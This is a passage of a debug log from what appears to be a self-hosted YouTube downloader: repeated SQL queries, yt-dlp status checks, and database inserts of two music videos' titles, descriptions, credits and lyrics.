s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:13.156 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.156 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.156 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [195] 22:21:13.156 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [196] 22:21:13.157 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [195] 22:21:13.157 [debug] QUERY OK source="media_metadata" db=0.1ms queue=0.1ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [196] 22:21:13.157 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.157 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.180 [debug] QUERY OK source="sources" db=329.6ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:13.181 [debug] QUERY OK source="settings" db=0.5ms queue=22.5ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.181 [debug] QUERY OK source="sources" db=0.3ms idle=23.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.181 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=23.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.181 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:13.181 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:13.181 [debug] QUERY OK source="media_items" db=0.5ms idle=23.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-10-06 17:37:44Z], 4] 22:21:13.182 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.182 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.183 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.183 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.183 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xSWL3L9FnQ4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/40/d740c5925a7190bc58f004f0925dd30ca03229a2d885c4ae8c0493d6f6eef3a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:13.183 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KuYc0SyH5hc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/90/f3/90f32370a545e5187fd8d19a7384b579314f0e99b31126e0ea7493c9b02766cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:13.379 [debug] QUERY OK source="media_items" db=196.6ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["One of the best final boss themes \n\nSENATOR ARMSTRONG FROM METAL GEAR RISING REVENGEANCE!!!!!\n\n\nLike And Enjoy!!\n\n\n\n\n\nthe content used in this video is not mii property, the song like the characters are the property of their respective konami and collaborators copyright to their respective owners.", "Senator Armstrong Theme - It Has To Be This Way - Lyrics", "3a95d066-30ee-4834-8566-959124a22d7a", false, "2l0RMGid6vo", 304, false, "https://www.youtube.com/watch?v=2l0RMGid6vo", 28, "/downloads/Grift/Grift/2013-10-06Senator Armstrong Theme - It Has To Be This Way - Lyrics[2l0RMGid6vo].m4a", false, false, 4, [], 1, ~U[2013-10-06 17:37:44Z], ~U[2026-07-24 02:21:13Z], ~U[2026-07-24 02:21:13Z], "One of the best final boss themes \n\nSENATOR ARMSTRONG FROM METAL GEAR RISING REVENGEANCE!!!!!\n\n\nLike And Enjoy!!\n\n\n\n\n\nthe content used in this video is not mii property, the song like the characters are the property of their respective konami and collaborators copyright to their respective owners.", "Senator Armstrong Theme - It Has To Be This Way - Lyrics", "2l0RMGid6vo", 304, false, "https://www.youtube.com/watch?v=2l0RMGid6vo", "/downloads/Grift/Grift/2013-10-06Senator Armstrong Theme - It Has To Be This Way - Lyrics[2l0RMGid6vo].m4a", false, 4, ~U[2013-10-06 17:37:44Z]] 22:21:13.379 [debug] QUERY OK source="sources" db=0.2ms idle=196.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.418 [debug] QUERY OK source="media_profiles" db=38.7ms idle=196.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.419 [debug] QUERY OK source="media_items" db=0.6ms idle=235.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [148] 22:21:13.421 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Stream the new single “RATATATA” now:\nhttps://babymetal-electriccallboy.lnk.to/RATATATA\n“RATATATA\" is taken from the new album 'METAL FORTH' which is available everywhere now: https://babymetal.lnk.to/MetalForthID\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan\n\nSubscribe to Electric Callboy’s YouTube channel:\nhttps://www.youtube.com/c/electriccallboy?sub_confirmation=1\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Merch: https://lnk.to/ElectricCallboy\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Instagram: http://instagram.com/electriccallboy\n• X: https://x.com/electriccallboy\n• Facebook: https://www.facebook.com/electriccallboy\n• TikTok: https://www.tiktok.com/@electriccallboy\n• Discord: https://discord.com/invite/electriccallboy\n\nConcept by Schillobros., Electric Callboy and BABYMETAL\n\nProduced and Directed: Schillobros. https://www.instagram.com/schillobros\nDirector of Photography & Colorist: Florian Berwanger\n1st AC & B-Cam Operator: Tim Schuback\nFocus Puller: Jan Schmidt\nTechno Crane Operator: Simon Recker\nGaffer: Christian Mono\nGaffer FX Light: Patrick Unger / 2morrowlights\nKey Grip: Victor Oonk\nGrip: Felix Mangoldt\nGrip: Björn Bruns\nMake-Up Artist: Ella Siou, Aya Watanabe (BABYMETAL)\nAdditional Make-Up: Carolin Claßen\nWardrobe (BABYMETAL): SHOHEI KASHIMA(w inc.)\nBTS & Photos: Christian Ripkens\nSet Builder: Jörg Holderny\nAssistant Set Builder: Florian Slaby\nSFX: FOG fireworks + sfx\nEC Costume: Naja-Marie Baumann\nProp Maker: Kami Zero & Mirjam Piuk\nDrum Tech: Chris Orth\n\nLocation: Studio One2One\nLocation: Pieter Smit\n\nRentals: TDAClair, Spottlight, CineOne\n\nSpecial thanks to RAZER\nhttps://www.razer.com\n\nCAST:\nYusuke Yamasaki \n\nJoel Matzelt\nMelissa Buschmann\nVera Wagner\nEssa Bentayeb\nJohanna Neuland\nThomas Zoder\nBy Graze Agency\n\nLyrics by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß & MK-METAL.\nMusic by NORiMETAL, Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß\nProduced by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß, KOBAMETAL; Co-Produced by Manuel Renner\nMixed by Daniel Haniß\nMastered by Christoph Wieczorek\nPublished by Amuse Inc. & Sony Music Publishing / Edition Kim All\n\n#BABYMETAL #ElectricCallboy #RATATATA \n\nLYRICS:\nEvery night when the sky turns red up above\nI feel the beat in my veins \nAnd I'm searching for love \nYou know that hips don’t lie \nI leave you hypnotized \nJust give me one more try \nTo make you feel that vibe \nAnd it goes\n\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\n\nBun Bun Bun Bun Bun\n\nアゲ!\nキラっとしちゃうアゲ!\nフワっとしちゃうアゲ!\nドキっとしちゃうアゲ!\n小悪魔しちゃうけど大丈夫?\n瞳に映した 笑顔の魔法で罠に誘い込む\n\nAnd it goes\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\nBun Bun Bun Bun Bun\n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good \n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good\n\nRA TA TA TA!\nI go fucking crazy ‘cause I’m waiting f" <> ..., "duration" => 222, "filename" => "/downloads/Grift/Grift/2024-05-23BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)[EDnIEWyVIlE].m4a", "id" => "EDnIEWyVIlE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EDnIEWyVIlE", "playlist_index" => 29, "timestamp" => 1716476424, "title" => "BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)", "upload_date" => "20240523"} 22:21:13.422 [debug] QUERY OK source="sources" db=0.3ms idle=238.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:13.423 [debug] QUERY OK source="sources" db=0.4ms idle=43.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.423 [debug] QUERY OK source="media_items" db=0.4ms idle=43.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 15:00:24Z], 4] 22:21:13.618 [debug] QUERY OK source="media_items" db=193.5ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Stream the new single “RATATATA” now:\nhttps://babymetal-electriccallboy.lnk.to/RATATATA\n“RATATATA\" is taken from the new album 'METAL FORTH' which is available everywhere now: https://babymetal.lnk.to/MetalForthID\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan\n\nSubscribe to Electric Callboy’s YouTube channel:\nhttps://www.youtube.com/c/electriccallboy?sub_confirmation=1\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Merch: https://lnk.to/ElectricCallboy\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Instagram: http://instagram.com/electriccallboy\n• X: https://x.com/electriccallboy\n• Facebook: https://www.facebook.com/electriccallboy\n• TikTok: https://www.tiktok.com/@electriccallboy\n• Discord: https://discord.com/invite/electriccallboy\n\nConcept by Schillobros., Electric Callboy and BABYMETAL\n\nProduced and Directed: Schillobros. https://www.instagram.com/schillobros\nDirector of Photography & Colorist: Florian Berwanger\n1st AC & B-Cam Operator: Tim Schuback\nFocus Puller: Jan Schmidt\nTechno Crane Operator: Simon Recker\nGaffer: Christian Mono\nGaffer FX Light: Patrick Unger / 2morrowlights\nKey Grip: Victor Oonk\nGrip: Felix Mangoldt\nGrip: Björn Bruns\nMake-Up Artist: Ella Siou, Aya Watanabe (BABYMETAL)\nAdditional Make-Up: Carolin Claßen\nWardrobe (BABYMETAL): SHOHEI KASHIMA(w inc.)\nBTS & Photos: Christian Ripkens\nSet Builder: Jörg Holderny\nAssistant Set Builder: Florian Slaby\nSFX: FOG fireworks + sfx\nEC Costume: Naja-Marie Baumann\nProp Maker: Kami Zero & Mirjam Piuk\nDrum Tech: Chris Orth\n\nLocation: Studio One2One\nLocation: Pieter Smit\n\nRentals: TDAClair, Spottlight, CineOne\n\nSpecial thanks to RAZER\nhttps://www.razer.com\n\nCAST:\nYusuke Yamasaki \n\nJoel Matzelt\nMelissa Buschmann\nVera Wagner\nEssa Bentayeb\nJohanna Neuland\nThomas Zoder\nBy Graze Agency\n\nLyrics by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß & MK-METAL.\nMusic by NORiMETAL, Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß\nProduced by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß, KOBAMETAL; Co-Produced by Manuel Renner\nMixed by Daniel Haniß\nMastered by Christoph Wieczorek\nPublished by Amuse Inc. & Sony Music Publishing / Edition Kim All\n\n#BABYMETAL #ElectricCallboy #RATATATA \n\nLYRICS:\nEvery night when the sky turns red up above\nI feel the beat in my veins \nAnd I'm searching for love \nYou know that hips don’t lie \nI leave you hypnotized \nJust give me one more try \nTo make you feel that vibe \nAnd it goes\n\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\n\nBun Bun Bun Bun Bun\n\nアゲ!\nキラっとしちゃうアゲ!\nフワっとしちゃうアゲ!\nドキっとしちゃうアゲ!\n小悪魔しちゃうけど大丈夫?\n瞳に映した 笑顔の魔法で罠に誘い込む\n\nAnd it goes\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\nBun Bun Bun Bun Bun\n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good \n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good\n\nRA TA TA TA!\nI go fucking crazy ‘cause I’m waiting f" <> ..., "BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)", "6d11bcdb-8f55-46ae-a7f8-32f8a4b3cdd9", false, "EDnIEWyVIlE", 222, false, "https://www.youtube.com/watch?v=EDnIEWyVIlE", 29, "/downloads/Grift/Grift/2024-05-23BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)[EDnIEWyVIlE].m4a", false, false, 4, [], 1, ~U[2024-05-23 15:00:24Z], ~U[2026-07-24 02:21:13Z], ~U[2026-07-24 02:21:13Z], "Stream the new single “RATATATA” now:\nhttps://babymetal-electriccallboy.lnk.to/RATATATA\n“RATATATA\" is taken from the new album 'METAL FORTH' which is available everywhere now: https://babymetal.lnk.to/MetalForthID\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan\n\nSubscribe to Electric Callboy’s YouTube 